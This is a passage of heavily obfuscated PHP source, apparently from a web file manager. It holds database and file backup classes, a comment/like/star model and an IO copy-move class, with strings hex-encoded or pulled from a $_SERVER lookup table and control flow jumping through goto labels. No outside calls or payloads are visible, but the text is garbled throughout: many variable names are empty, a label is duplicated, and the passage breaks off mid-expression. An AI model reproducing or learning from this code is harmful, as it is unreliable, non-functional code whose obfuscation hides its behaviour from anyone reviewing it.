$[$ٺ[206]][$ٺ[1736]] = $틕[$ٺ[206]]; unset($틕[$ٺ[206]]); } return array_merge($, $틕); } public function listData($ = false, $컘 = "\155\x6f\144\151\x66\x79\x54\x69\x6d\145", $ = false) { $ = parent::listData($, $컘, !0); if (!$) { return $; } if ($) { $ = array($); } foreach ($ as &$ō) { $this->parseContent($ō); } return $ ? $[0] : $; } public function parseContent(&$) { $ݓ =& $_SERVER[]; $ӄ = _get($, $ݓ[171], $ݓ[91]); if (!in_array($ӄ, array($ݓ[843], $ݓ[1204]))) { $[$ݓ[171]] = $ӄ == $ݓ[91] ? $ݓ[1204] : $ݓ[843]; } } public function lastItem() { $¸ڂ = $this->listData(); return !empty($¸ڂ[0]) ? $¸ڂ[0] : null; } public function kill($) { $ =& $_SERVER[]; $ֻ = $this->listData($); if (!$ֻ || empty($ֻ[$[32]])) { return !0; } Task::kill($[857]); Task::kill($[875]); Task::kill($[884]); $֍ = $ֻ[$[32]]; $ = TEMP_FILES . $[854] . $֍ . $[8]; IO::remove($, !1); return $this->remove($); } public function remove($) { $ = $this->listData($); if (!$) { return !0; } return $this->backupRemove($); } private function backupRemove($) { parent::remove($[$_SERVER[][475]]); $陰 = $this->backupPath($); IO::remove($陰, !1); return !0; } private function backupPath($) { $㹓 =& $_SERVER[]; $ߖ = $[$㹓[32]]; $ݚ = Model($㹓[837])->get($㹓[838]); $ = substr(md5($㹓[839] . $ݚ . $ߖ), 0, 8); return "\x7b\x69\157\x3a{$[$㹓[819]]}\175\x2f\144\x61\x74\x61\x62\x61\163\x65\x2f\x62\x61\143\153\165\160\x2f" . $ߖ . $㹓[11] . $; } public function start() { $ʝ =& $_SERVER[]; if ($GLOBALS[$ʝ[6]][$ʝ[92]][$ʝ[1990]] != $ʝ[91]) { return !0; } $ꢬ = $this->config(); if (!$ꢬ || $ꢬ[$ʝ[1733]] != $ʝ[91]) { return !1; } if ($ꢬ[$ʝ[171]] == $ʝ[843]) { $݄ާ = Model($ʝ[837])->get($ʝ[1317]); if ($݄ާ == $ʝ[1318]) { $ꢬ[$ʝ[171]] = $ʝ[1204]; } } $ȡ = $this->process(); foreach ($ȡ as $̾) { if ($̾) { return Task::restart($̾[$ʝ[475]]); } } $Ĩ = new Backup(); $ = $Ĩ->db(); if ($) { $ = $Ĩ->dbFile(); if ($ && $ꢬ[$ʝ[171]] == $ʝ[843]) { $ = $Ĩ->file(); } } Backup::set(array($ʝ[817] => 1, $ʝ[828] => time())); return !0; } public function process() { $Ή =& $_SERVER[]; $뜲 = array($Ή[824] => Task::get($Ή[857]), $Ή[829] => Task::get($Ή[875]), $Ή[230] => Task::get($Ή[884])); $Ԅ = !1; foreach ($뜲 as &$) { if ($Ԅ) { $ = !1; continue; } if ($) { $ = intval(_get($, $Ή[1768], 0)); if (time() - $ > 7200) { Task::kill($[$Ή[475]]); $Ԅ = !0; $ = !1; } } } return $뜲; } public function restore() { $ =& $_SERVER[]; ActionCall($[1131], !0, 1); ActionCall($[1131], !0, 0); } } class CommentModel extends ModelBase { protected $tableName = "\143\157\155\155\145\156\164"; protected $tableMeta = array("\164\141\x62\x6c\145\x4e\x61\155\145" => "\143\157\x6d\x6d\x65\156\164\137\155\x65\x74\x61", "\x6d\145\x74\141\106\151\145\x6c\144" => "\143\x6f\x6d\155\145\x6e\x74\x49\x44"); const TYPE_SOURCE = 1; const TYPE_SHARE = 2; const TYPE_USER = 3; const TYPE_GROUP = 4; const TYPE_TOPIC = 5; const TYPE_STAR_OFFSET = 100000000; public static $TYPEALL = array(self::TYPE_SOURCE, self::TYPE_SHARE, self::TYPE_USER, self::TYPE_GROUP, self::TYPE_TOPIC); public function addComment($ۨ) { $Չ =& $_SERVER[]; if ($ۨ[$Չ[1991]]) { $ = $this->where(array($Չ[1992] => $ۨ[$Չ[1991]]))->find(); if (!$ || $[$Չ[190]] != $ۨ[$Չ[190]] || $[$Չ[569]] != $ۨ[$Չ[569]]) { return !1; } $this->where(array($Չ[1992] => $ۨ[$Չ[1991]]))->setAdd($Չ[1993], 1); } $ۨ[$Չ[1994]] = 0; $ۨ[$Չ[1993]] = 0; $ۨ[$Չ[817]] = 1; return $this->add($ۨ); } public function commentCount($, $֐, $ = false) { $񸪊 =& $_SERVER[]; if (!$) { return array(); } if (is_string($) || is_int($)) { $ = array($); } $ށ = array($񸪊[569], $񸪊[1995] => $񸪊[565]); $ = array($񸪊[569] => array($񸪊[7], $), $񸪊[190] => $֐); if ($) { $[$񸪊[1763]] = $; } $ѧ = $this->field($ށ)->where($)->group($񸪊[569])->select(); return array_to_keyvalue($ѧ, $񸪊[569], $񸪊[565]); } public function starTarget($Ѡ, $) { $ =& $_SERVER[]; $ = $Ѡ + self::TYPE_STAR_OFFSET; $ = array($[1763] => USER_ID, $[190] => $, $[569] => $); $ = $this->where($)->find(); if ($) { return $this->where(array($[475] => $[$[475]]))->delete(); } $̑ = array($[1991] => 0, $[1763] => USER_ID, $[817] => 1, $[171] => $[12], $[190] => $, $[569] => $, $[1994] => 0, $[1993] => 0); return $this->add($̑); } public function starTargetCount($, $択) { $ =& $_SERVER[]; $ᡫ = $択 + self::TYPE_STAR_OFFSET; $ = $this->commentCount($, $ᡫ); $ = $this->commentCount($, $ᡫ, USER_ID); return array($[1996] => $, $[1997] => $); } public function starTargetUserList($辥, $) { $ =& $_SERVER[]; $ = $辥 + self::TYPE_STAR_OFFSET; $ڷ = array($[569] => $, $[190] => $); $ꆉ = $this->where($ڷ)->count(); $ = array($[332] => $ꆉ, $[1998] => array()); if (!$ꆉ) { return $; } $䛭̡ = $this->field($[1763])->where($ڷ)->limit(500)->select(); $䛭̡ = array_to_keyvalue($䛭̡, $[12], $[1763]); $[$[1998]] = Model($[577])->userListInfo($䛭̡); return $; } public function prasiseUserList($) { $ =& $_SERVER[]; $蛯 = array($[1999] => $); $ܙ = $this->where($蛯)->find(); $Ɵ = _get($ܙ, $[1994], 0); $ޚە = array($[332] => $Ɵ, $[1998] => array()); if (!$Ɵ) { return $ޚە; } $ = Model($[2000])->field($[1763])->where($蛯)->limit(500)->select(); $ = array_to_keyvalue($, $[12], $[1763]); $ޚە[$[1998]] = Model($[577])->userListInfo($); return $ޚە; } public function remove($) { $ג̄ =& $_SERVER[]; $ݢϟ = array($ג̄[1992] => $); $͞ = $this->where($ݢϟ)->find(); if ($͞[$ג̄[1991]]) { $this->where(array($ג̄[1992] => $͞[$ג̄[1991]]))->setAdd($ג̄[1993], -1); } return $this->where($ݢϟ)->delete(); } public function edit($޴؀, $) { $ =& $_SERVER[]; $ = array($[1992] => $޴؀); return $this->where($)->save(array($[2001] => $)); } public function prasise($) { $᠌ =& $_SERVER[]; $ژ = Model($᠌[2002]); $ = array($᠌[1992] => $, $᠌[1754] => USER_ID); $ϖ˵ = $ژ->where($)->find(); if (!$ϖ˵) { $ژ->add($); $ޡя = $this->where(array($᠌[1992] => $))->setAdd($᠌[1994], 1); } else { $ژ->where($)->delete(); $ޡя = $this->where(array($᠌[1992] => $))->setAdd($᠌[1994], -1); } return $ޡя; } public function targetInfo($ԣ, $𡁑) { $ =& $_SERVER[]; $צƹ = array($[648] => $ԣ, $[649] => $𡁑); $Հ = $this->where($צƹ)->count(); $ە = "\x52\x49\x47\110\x54\x20\112\x4f\111\x4e\x20{$this->tablePrefix}\143\157\155\x6d\x65\x6e\164\x5f\160\162\141\151\163\x65\40\x73\164\x61\x72\40\157\156\40\143\x6f\x6d\155\145\x6e\164\x2e\x63\x6f\155\155\x65\156\x74\x49\x44\40\75\x20\x73\x74\141\162\56\x63\x6f\155\155\x65\156\x74\111\104"; $ = $this->alias($[430])->where($צƹ)->join($ە, $[2003])->count(); $ˊ = array($[2004] => $Հ, $[2005] => $); return $ˊ; } public function listData($巒) { $߅ =& $_SERVER[]; if (isset($巒[$߅[2006]])) { if ($巒[$߅[2006]]) { $巒[$߅[1999]] = array($߅[1085], intval($巒[$߅[2006]])); } unset($巒[$߅[2006]]); } if (isset($巒[$߅[2007]])) { if ($巒[$߅[2007]]) { $巒[$߅[1999]] = array($߅[1082], intval($巒[$߅[2007]])); } unset($巒[$߅[2007]]); } return $this->_listData($巒); } private function _listData($ۜ) { $ =& $_SERVER[]; $쟗 = $this->where($ۜ)->_makeOrder()->selectPage(100); $this->_listAppendParent($쟗[$[445]]); $this->_listAppendUser($쟗[$[445]]); $this->_listAppendMeta($쟗[$[445]]); return $쟗; } private function _makeOrder() { $ҕ =& $_SERVER[]; $˿Ȕ = array($ҕ[1994], $ҕ[1993], $ҕ[231]); $Ίʃ = Input::get($ҕ[530], $ҕ[7], $ҕ[497], $˿Ȕ); $볶 = Input::get($ҕ[531], $ҕ[7], $ҕ[1756], array($ҕ[2008], $ҕ[526])); $ = $Ίʃ . $ҕ[53] . $볶; return $this->order($); } private function _listAppendParent(&$Ο) { $ׄ =& $_SERVER[]; $ҭɵ = array_unique(array_to_keyvalue($Ο, $ׄ[12], $ׄ[1991])); $ҭɵ = array_remove_value($ҭɵ, $ׄ[228]); if (!$ҭɵ) { return; } $ = $this->where(array($ׄ[1992] => array($ׄ[7], $ҭɵ)))->select(); $ = array_to_keyvalue($, $ׄ[1999]); foreach ($Ο as &$Ҍ) { if (isset($[$Ҍ[$ׄ[1991]]])) { $Ҍ[$ׄ[2009]] = $[$Ҍ[$ׄ[1991]]]; } } unset($Ҍ); } private function _listAppendUser(&$ۅ) { $ =& $_SERVER[]; $޵ = array_unique(array_to_keyvalue($ۅ, $[12], $[1763])); $޵ = array_remove_value($޵, $[228]); if (count($޵) == 0) { return; } foreach ($ۅ as $ʼn) { if (isset($ʼn[$[2009]])) { $޵[] = $ʼn[$[2009]][$[1763]]; } } $鯸 = Model($[598])->userListInfo($޵); foreach ($ۅ as &$ʼn) { $ʼn[$[662]] = $鯸[$ʼn[$[1763]]]; if (isset($ʼn[$[2009]])) { $ʼn[$[2009]][$[662]] = $鯸[$ʼn[$[2009]][$[1763]]]; } } unset($ʼn); } private function _listAppendMeta(&$) { $ =& $_SERVER[]; $ = array_unique(array_to_keyvalue($, $[12], $[1999])); $ = array_remove_value($, $[228]); if (!$) { return; } foreach ($ as $߮±) { if (isset($߮±[$[2009]])) { $[] = $߮±[$[2009]][$[1999]]; } } $ͤɂ = $this->metaList($); if (!$ͤɂ) { return !1; } foreach ($ as &$߮±) { $߮±[$[539]] = $ͤɂ[$߮±[$[1999]]]; if (isset($߮±[$[2009]])) { $߮±[$[2009]][$[539]] = $ͤɂ[$߮±[$[2009]][$[1999]]]; } } unset($߮±); } private function metaList($¬) { $塱 =& $_SERVER[]; if (!$¬) { return array(); } $ = array($塱[1999] => array($塱[7], $¬)); $ = Model($塱[2010])->where($)->select(); $ = array_to_keyvalue_group($, $塱[1999]); foreach ($ as $ݱ => $߾) { $ܓ = array(); foreach ($߾ as $ף) { $ܓ[$ף[$塱[97]]] = $ף[$塱[450]]; } $[$ݱ] = $ܓ; } return $ ? $ : array(); } public function removeTarget($Ɉ, $٤) { $㬱 =& $_SERVER[]; if (!$٤) { return !0; } $٤ = is_array($٤) ? $٤ : array($٤); $ = array($㬱[190] => $Ɉ, $㬱[569] => array($㬱[7], $٤)); $σí = $this->field($㬱[1999])->where($)->select(); $먗 = array_to_keyvalue($σí, $㬱[12], $㬱[1999]); if (!$먗) { return !0; } $ = array($㬱[1999] => array($㬱[7], $먗)); $this->where($)->delete(); Model($㬱[2002])->where($)->delete(); Model($㬱[2011])->where($)->delete(); } } class FileContentModel extends ModelBase { protected $tableName = "\x69\157\x5f\146\x69\154\x65\137\143\x6f\156\x74\145\x6e\164\163"; protected $dataAuto = array(array("\x63\x72\x65\141\164\x65\x54\x69\x6d\x65", "\x74\151\155\x65", "\x69\x6e\x73\145\x72\x74", "\x66\165\156\143\164\151\x6f\x6e")); } goto BɢӮ; C: define($_SERVER[][317], 3); define($_SERVER[][318], 1); define($_SERVER[][319], 0); goto D; C: class BackupDb { protected static $io; protected static $name; public function __construct() { } public function index() { $Ɨ =& $_SERVER[]; $Ӆ = Backup::get(); self::$io = $Ӆ[$Ɨ[819]]; self::$name = $Ӆ[$Ɨ[32]]; $ = new DbManage(); $쏼 = $->dbType(); $ = array($Ɨ[852] => $쏼, $Ɨ[853] => time()); Backup::set($); $݋ = $this->tmpFilesPath() . $Ɨ[854] . self::$name . $Ɨ[8]; del_dir($݋); mk_dir($݋); $Ú = $݀ܟ = 0; try { $ = $->db()->getTables(); } catch (Exception $ѐ) { return !1; } $ = array_diff($, array($Ɨ[855], $Ɨ[856])); foreach ($ as $ω͸) { $Ú += $->model($ω͸)->count(); } $ = new Task($Ɨ[857], $Ɨ[858], $Ú, LNG($Ɨ[859]) . $Ɨ[860] . LNG($Ɨ[861])); $GLOBALS[$Ɨ[862]] = self::$name; foreach ($ as $ω͸) { $̸ӱ = $݋ . $ω͸ . $Ɨ[863]; $ = null; if ($ω͸ == $Ɨ[864] && (!isset($Ӆ[$Ɨ[171]]) || $Ӆ[$Ɨ[171]] == $Ɨ[228])) { $ = self::$io; } $݀ܟ += $->sqlFromDb($ω͸, $̸ӱ, $, $); } unset($GLOBALS[$Ɨ[862]]); $->end(); if ($݀ܟ > $Ú) { $Ú = $݀ܟ; } $ = array($Ɨ[852] => $쏼, $Ɨ[840] => 1, $Ɨ[865] => $Ú, $Ɨ[866] => $݀ܟ, $Ɨ[867] => time()); Backup::set($); if ($Ú - $݀ܟ > 0) { $ = $Ɨ[868]; if (!stristr(I18n::getType(), $Ɨ[869])) { $ = $Ɨ[870]; } write_log(array($, $), $Ɨ[858]); return !1; } return !0; } private function tmpFilesPath() { $󳉶Ũ =& $_SERVER[]; $ = TEMP_FILES; if ($GLOBALS[$󳉶Ũ[6]][$󳉶Ũ[92]][$󳉶Ũ[871]]) { $ = $GLOBALS[$󳉶Ũ[6]][$󳉶Ũ[92]][$󳉶Ũ[871]]; if (!mk_dir($) || !is_writable($) || !IO::mkfile($ . $󳉶Ũ[872])) { $ = TEMP_FILES; } } return $; } } class BackupDbFile { public function __construct() { } public function index() { $޳ =& $_SERVER[]; $ = Backup::get(); $ = $[$޳[32]]; $ = $this->tmpFilesPath() . "\x62\x61\143\153\165\160\137{$}\57"; $Ї = $this->backupPath($); if (!($Ї = IO::mkdir($Ї))) { return !1; } $ގٗ = IO::listPath($); $ = isset($ގٗ[$޳[86]]) ? $ގٗ[$޳[86]] : array(); $؏ = array_sum(array_column($, $޳[79])); if (!$؏) { return !1; } $ = array($޳[873] => $؏, $޳[874] => time()); Backup::set($); $ = new TaskFileTransfer($޳[875], $޳[858], count($), LNG($޳[859]) . $޳[462] . LNG($޳[861]) . $޳[876]); $->task[$޳[830]] = $؏; foreach ($ގٗ[$޳[86]] as $柕) { $ǔ = IO::move($柕[$޳[87]], $Ї); if (!$ǔ) { $->end(); $“ = IO::getLastError($޳[877] . $柕[$޳[87]] . $޳[878] . $Ї . $޳[178]); write_log($“, $޳[858]); return !1; } } $啱 = new DbManage(); $Ԯ = $啱->getSqlFile(); if (!$Ԯ[$޳[879]] || !$Ԯ[$޳[13]]) { return !1; } IO::move($Ԯ[$޳[879]], $Ї); IO::move($Ԯ[$޳[13]], $Ї); $->end(); $ = array($޳[880] => $؏, $޳[881] => time()); Backup::set($); return !0; } private function backupPath($½Š) { $ =& $_SERVER[]; $ = $½Š[$[32]]; $ = Model($[837])->get($[838]); $ = substr(md5($[839] . $ . $), 0, 8); return "\x7b\x69\157\72{$½Š[$[819]]}\x7d\57\x64\141\164\x61\142\x61\163\x65\x2f\142\x61\143\x6b\x75\160\x2f" . $ . $[11] . $; } private function tmpFilesPath() { $ށ =& $_SERVER[]; $ʁ = TEMP_FILES; if ($GLOBALS[$ށ[6]][$ށ[92]][$ށ[871]]) { $ʁ = $GLOBALS[$ށ[6]][$ށ[92]][$ށ[871]]; if (!mk_dir($ʁ) || !is_writable($ʁ) || !IO::mkfile($ʁ . $ށ[872])) { $ʁ = TEMP_FILES; } } return $ʁ; } } class BackupFile { public function __construct() { } public function index() { $ = Backup::get(); $۴ = $[$_SERVER[][369]][$_SERVER[][230]][$_SERVER[][541]]; $荝 = array($_SERVER[][542] => array($_SERVER[][882], $۴), $_SERVER[][883] => array($_SERVER[][407], $[$_SERVER[][819]])); $ = (int) Model($_SERVER[][864])->where($荝)->count($_SERVER[][541]); $ = (int) Model($_SERVER[][864])->where($荝)->sum($_SERVER[][79]); $ = new TaskFileTransfer($_SERVER[][884], $_SERVER[][858], $, LNG($_SERVER[][859]) . $_SERVER[][860] . LNG($_SERVER[][885])); $->task[$_SERVER[][830]] = $; $Ƌ = array($_SERVER[][886] => $, $_SERVER[][887] => $, $_SERVER[][888] => time()); Backup::set($Ƌ); $Ϻ = !0; $ = $this->storeIds(); $φ = 1; $ = 1000; $ꚧü = $˷ = 0; $ܣ = array(); $ޘ = $ݕ = 0; do { $Ѷ = $_SERVER[][889]; $Զ = Model($_SERVER[][864])->where($荝)->field($Ѷ)->order($_SERVER[][890])->selectPage($, $φ); $ۭ = !empty($Զ[$_SERVER[][445]]) ? $Զ[$_SERVER[][445]] : array(); foreach ($ۭ as $) { if (!$this->_fileExist($, $ܣ, $)) { write_log("\146\151\154\145\40\x6e\157\x74\x20\145\x78\151\163\164\x2e\x66\151\x6c\x65\111\104\72{$[$_SERVER[][541]]}\54\x20\160\x61\164\150\72{$[$_SERVER[][87]]}", $_SERVER[][891]); continue; } $ٮ = $[$_SERVER[][87]]; $і = "\173\151\x6f\x3a{$[$_SERVER[][819]]}\x7d" . substr($ٮ, strlen("\173\151\157\72{$[$_SERVER[][892]]}\175")); if (IO::exist($і)) { $->updateFileEnd($[$_SERVER[][32]], $[$_SERVER[][79]]); } else { $і = get_path_father($і); IO::mkdir($і); if (!IO::copy($ٮ, $і, $_SERVER[][893])) { write_log($_SERVER[][894] . $ٮ . $_SERVER[][878] . $і . $_SERVER[][178], $_SERVER[][858]); $Ϻ = !1; break; } } $۴ = $[$_SERVER[][541]]; $˷ += 1; $ꚧü += $[$_SERVER[][79]]; $ݕ += 1; $ޘ += $[$_SERVER[][79]]; if ($ꚧü >= 1024 * 1024 * 100) { $Ƌ = array($_SERVER[][818] => $۴, $_SERVER[][895] => $ݕ, $_SERVER[][896] => $ޘ); Backup::set($Ƌ); $ꚧü = $˷ = 0; } } $ = count($ۭ); $φ++; } while ($ == $); $->end(); $Ƌ = array($_SERVER[][897] => 1, $_SERVER[][828] => time(), $_SERVER[][842] => 1, $_SERVER[][818] => $۴, $_SERVER[][898] => time()); if ($˷) { $Ƌ[$_SERVER[][895]] = $ݕ; $Ƌ[$_SERVER[][896]] = $ޘ; } Backup::set($Ƌ); return !0; } private function _fileExist($‹, &$ó׍, $ȷ) { $ƒ =& $_SERVER[]; $ = $‹[$ƒ[87]]; if (in_array($‹[$ƒ[541]], $ó׍)) { return !1; } if (!in_array($‹[$ƒ[892]], $ȷ)) { return !1; } if (IO::exist($)) { return !0; } $Ɇ = get_path_father($); if (IO::exist($Ɇ)) { $ó׍[] = $‹[$ƒ[541]]; return !1; } $ = array($ƒ[892] => $‹[$ƒ[892]], $ƒ[87] => array($ƒ[459], "{$Ɇ}\45")); $ݴϯ = Model($ƒ[864])->where($)->field($ƒ[542])->select(); $ó׍ = array_merge($ó׍, array_to_keyvalue($ݴϯ, $ƒ[12], $ƒ[541])); return !1; } private function _fileFilter($ڀ) { $ =& $_SERVER[]; return; if (empty($ڀ)) { return; } $٢ = array($[541] => array($[7], array_unique($ڀ))); $ = Model($[899])->where($٢)->field($[193])->select(); foreach ($ as $ܯ) { Model($[899])->remove($ܯ[$[193]], !1); } } private function storeIds() { $ =& $_SERVER[]; $ = Model($[834])->listData(); $Ԝ = array(); $ȗ۪ = $GLOBALS[$[6]][$[92]][$[900]]; foreach ($ as $Ԅ) { $ = strtolower($Ԅ[$[98]]); if (!isset($ȗ۪[$])) { continue; } $ވ = $[77] . (isset($ȗ۪[$]) ? $ȗ۪[$] : ucfirst($)); if (!class_exists($ވ)) { continue; } $Ԝ[] = $Ԅ[$[475]]; } return $Ԝ; } } goto dߚ; aĝۭ: class IO extends ClassBaseCall { public static $driverCache = array(); public static $driverListSystem = array(); public static $driverListUser = array(); public static function __callStatic($ԫ, $) { $ =& $_SERVER[]; $ = $; $GLOBALS[$[1220]] = $[1221] . $ԫ; Hook::trigger($[1221] . $ԫ . $[1222], $); $ֺ = self::driverMake($[0]); if (!$ֺ) { return !1; } if (method_exists($ֺ, $ԫ)) { $Ŝ = @call_user_func_array(array($ֺ, $ԫ), $); } else { if (method_exists($ֺ, $[1223])) { $Ŝ = @call_user_func_array(array($ֺ, $ԫ), $); } else { if (method_exists(self, $ԫ)) { $Ŝ = @call_user_func_array(array(self, $ԫ), $); } else { $Ŝ = call_user_func_array(array(parent, $ԫ), $); } } } Hook::trigger($[1221] . $ԫ . $[1224], $, $Ŝ); return $Ŝ; } public static function init($ۼ) { return self::driverMake($ۼ); } public static function copy($֫, $ꖖ, $̎ = false, $퐜 = false) { return self::copyMoveStart($֫, $ꖖ, $̎, $_SERVER[][618], $퐜); } public static function move($¥, $, $⹄ = false, $㬢 = false) { return self::copyMoveStart($¥, $, $⹄, $_SERVER[][620], $㬢); } private static function copyMoveStart($㷜, $, $, $䕎̰, $) { $ =& $_SERVER[]; $ = array($㷜, $, $, $); Hook::trigger($[1221] . $䕎̰ . $[1222], $); $܏ = self::copyMove($㷜, $, $, $䕎̰, $); Hook::trigger($[1221] . $䕎̰ . $[1224], $, $܏); return $܏; } public static function saveFile($Ʉީ, $, $ = true) { $ɻ =& $_SERVER[]; $Ӛ = self::info($); $ = self::driverMake($Ʉީ); $ = self::driverMake($); $̠ = !1; if ($->pathParse[$ɻ[1225]]) { $̠ = $; $ő = $->pathParse[$ɻ[1225]]; $ = self::driverMake($ő); } if ($->pathParse[$ɻ[1225]]) { $ = $->pathParse[$ɻ[1225]]; $ = self::driverMake($); } $⚻ = $->pathFather($); $쟳 = !0; if (!$ && self::driverIsSame($, $)) { $쟳 = !1; } $̇ = self::copyFile($, $Ʉީ, $, $⚻, $Ӛ[$ɻ[32]], $쟳); if ($̠) { $̇ = $̠->getPathOuter($̇); } return $̇; } private static function copyMove($, $ɔˈ, $, $˴, $ٸ = false) { $ϥ =& $_SERVER[]; if (!$ || $ == $ϥ[8] || !$ɔˈ) { return !1; } ignore_timeout(); $ = self::driverMake($); $ = self::driverMake($ɔˈ); $Njۓ = $˴ == $ϥ[620]; $׀Ș = !1; if ($->pathParse[$ϥ[1225]]) { $׀Ș = $; $ɔˈ = $->pathParse[$ϥ[1225]]; $ = self::driverMake($ɔˈ); } if ($->pathParse[$ϥ[1225]]) { $ = $->pathParse[$ϥ[1225]]; $ = self::driverMake($); } self::check($, $, $, $ɔˈ); Hook::trigger($ϥ[1226], $, $, $, $ɔˈ); $Œ = self::driverIsSame($, $); if ($Œ) { if ($˴ == $ϥ[620] && !method_exists($, $ϥ[1227]) && trim($ɔˈ, $ϥ[8]) == trim($->pathFather($), $ϥ[8])) { if ($->pathThis($) != $ٸ && !$->isOsDriver()) { return $->rename($, $ٸ); } return $->getPathOuter($); } if (method_exists($, $˴)) { return $->{$˴}($, $ɔˈ, $, $ٸ); } } if ($Œ && $˴ == $ϥ[620] && $->getType() == $ϥ[109]) { $ = $->movePath($, $ɔˈ, $ٸ); if ($) { return $; } } $ = $->isFile($); if (!$ && $->getType() == $ϥ[824] && $->getType() == $ϥ[109]) { $ = $->copyFolderFromIO($, $, $ɔˈ, $, $Njۓ, $ٸ); } else { $ = self::copyPath($, $, $, $ɔˈ, $, $Njۓ, $, $ٸ); } if ($ && $Njۓ) { $->remove($); } if ($׀Ș) { $ = $׀Ș->getPathOuter($); } return $; } private static function check($Ķ, $ݥ, $, &$) { $ =& $_SERVER[]; if (self::driverIsSame($Ķ, $) && $Ķ->isFolder($ݥ) && $Ķ->isParentOf($ݥ, $)) { show_json(LNG($[1228]), !1); } if (!$Ķ->exist($ݥ)) { show_json(LNG($[108]), !1); } } private static function copyPath($쥅, $䢷, $я޿, $Ȥ, $, $, $쓬, $ = false, $ = true) { $ =& $_SERVER[]; $ڕ = empty($) && $ !== $[228] ? $쥅->pathThis($䢷) : $; if ($) { $媀 = $я޿->fileNameExist($Ȥ, $ڕ); $ = $ڕ; $ڕ = $я޿->fileNameAuto($Ȥ, $ڕ, $, !$쓬); if (!$媀 || $ != $ڕ) { $ = !1; } if ($ && !$) { $я޿->_data[$[1229]] = !0; } } if ($쓬) { return self::copyFile($쥅, $䢷, $я޿, $Ȥ, $ڕ, $); } if ($ == REPEAT_RENAME_FOLDER) { $ = !1; } $Ȟ = rtrim($Ȥ, $[8]) . $[8] . $ڕ; $ = $я޿->mkdir($я޿->getPath($Ȟ), $); $Ȥ = $я޿->getPathInner($); $ݙ = $쥅->listPath($䢷, !0); $ݙ = is_array($ݙ) ? $ݙ : array($[86] => array(), $[85] => array()); $ = array_merge($ݙ[$[86]], $ݙ[$[85]]); foreach ($ as $) { $ = $[$[33]] == $[230]; $䢷 = $쥅->getPathInner($[$[87]]); $ۢ = self::copyPath($쥅, $䢷, $я޿, $Ȥ, $, $, $, !1, !1); if (!$ۢ) { IO::errorTips($[1230] . $䢷 . $[73] . $Ȥ); } } self::copyMoveKeepInfo($쥅, $䢷, $); return $; } private static function copyFile($, $, $㔌, $ٛ, $, $) { $ݠ =& $_SERVER[]; $ٛ = $㔌->getPath(rtrim($ٛ, $ݠ[8]) . $ݠ[8] . $); $ = $ݠ[1231] . time() . rand_string(5); Hook::trigger($ݠ[1232], $, $, $㔌, $ٛ, $, $); if (self::driverIsSame($, $㔌)) { if ($) { $ = $㔌->moveFile($, $ٛ); } else { $ = $㔌->copyFile($, $ٛ); } Hook::trigger($ݠ[1233], $, $, $㔌, $ٛ, $, $); self::copyMoveKeepInfo($, $, $); return $; } $̞ = TEMP_FILES; if ($GLOBALS[$ݠ[6]][$ݠ[92]][$ݠ[871]]) { $̞ = $GLOBALS[$ݠ[6]][$ݠ[92]][$ݠ[871]]; } $﬊ = $̞; mk_dir($﬊); $ڤԏ = $﬊ . $; $ӫ̓ = $ڤԏ; $ڤԏ = $->download($, $ڤԏ); $ڤԏ = $->iconvApp($ڤԏ); if (substr($ڤԏ, strlen($̞)) == $̞) { $ = !0; } $ = $㔌->upload($ٛ, $ڤԏ, $); self::remove($ӫ̓); Hook::trigger($ݠ[1233], $, $, $㔌, $ٛ, $, $); self::copyMoveKeepInfo($, $, $); return $; } private static function copyMoveKeepInfo($, $Ŋ, $Ҥ߃) { if (!$Ҥ߃) { return; } $‰ = $->info($Ŋ); if (!is_array($‰)) { return; } IO::setModifyTime($Ҥ߃, $‰[$_SERVER[][88]]); } public static function pathFather($) { $ې = IO::init($); $䳴 = $ې->pathFather($ې->path); return $ې->getPathOuter($䳴); } public static function fileOut($, $ͺ = false, $Ǔ = false, $ = '') { $ߍ = self::driverMake($); if ($ߍ->isFileOutServer()) { return $ߍ->fileOutServer($, $ͺ, $Ǔ, $); } return $ߍ->fileOut($, $ͺ, $Ǔ, $); } public static function fileOutImage($, $꬧ = 250) { $ӗ = array(250, 600, 1200, 2000, 3000, 5000); for ($ڭ = 0; $ڭ < count($ӗ); $ڭ++) { if ($ڭ == 0 && $꬧ <= $ӗ[$ڭ]) { $꬧ = $ӗ[$ڭ]; break; } else { if ($꬧ > $ӗ[$ڭ - 1] && $꬧ <= $ӗ[$ڭ]) { $꬧ = $ӗ[$ڭ]; break; } else { if ($ڭ == count($ӗ) - 1 && $꬧ > $ӗ[$ڭ]) { $꬧ = $ӗ[$ڭ]; break; } } } } $Қڞ = self::driverMake($); if ($Қڞ->isFileOutServer()) { return $Қڞ->fileOutImageServer($, $꬧); } return $Қڞ->fileOutImage($, $꬧); } private static function driverIsSame($ۥ, $) { $ϝ =& $_SERVER[]; $㩕 = $ۥ->getType(); $ٙ = $->getType(); if ($㩕 != $ٙ) { return !1; } if ($㩕 == $ϝ[824]) { return !0; } if ($㩕 == $ϝ[109]) { return !0; } if ($ۥ->pathDriver == $->pathDriver) { return !0; } return !1; } public static function copyUpdate($Ө, $) { $ѵ󁂯 =& $_SERVER[]; if (!IO::exist($Ө)) { return !1; } if (!IO::exist($)) { IO::mkdir($); } $Иز = array_to_keyvalue(self::listAllSimple($Ө), $ѵ󁂯[87]); $╽ = array_to_keyvalue(self::listAllSimple($), $ѵ󁂯[87]); $ҷ = array(); $ҹخ = array(); foreach ($Иز as $ۈ => $С) { if (isset($╽[$ۈ])) { if ($С[$ѵ󁂯[78]] == 1) { continue; } if ($╽[$ۈ][$ѵ󁂯[79]] == $С[$ѵ󁂯[79]]) { continue; } } if ($С[$ѵ󁂯[78]] == 1) { $ҹخ[] = $ . $ѵ󁂯[8] . trim($ۈ, $ѵ󁂯[8]); continue; } $ = strstr(trim($ۈ, $ѵ󁂯[8]), $ѵ󁂯[8]) ? get_path_father($ۈ) : $ѵ󁂯[12]; $ҷ[] = array($ѵ󁂯[1234] => $С[$ѵ󁂯[89]], $ѵ󁂯[1235] => rtrim($, $ѵ󁂯[8]) . $ѵ󁂯[8] . $, $ѵ󁂯[1236] => $С); } $ = array($ѵ󁂯[230] => $ҷ, $ѵ󁂯[78] => $ҹخ); Hook::trigger($ѵ󁂯[1237], $Ө, $, $); foreach ($ҹخ as $С) { IO::mkdir($С); } foreach ($ҷ as $С) { IO::copy($С[$ѵ󁂯[1234]], $С[$ѵ󁂯[1235]], REPEAT_REPLACE); } } public static function fileSubstr($Ź٠, $Ĕ, $ = false) { $뮀˯ =& $_SERVER[]; $鋡 = self::driverMake($Ź٠); $ꔻ = $鋡->size($Ź٠); $̗ = $Ĕ; $ž = $; if ($Ĕ < 0) { $Ĕ = $ꔻ + 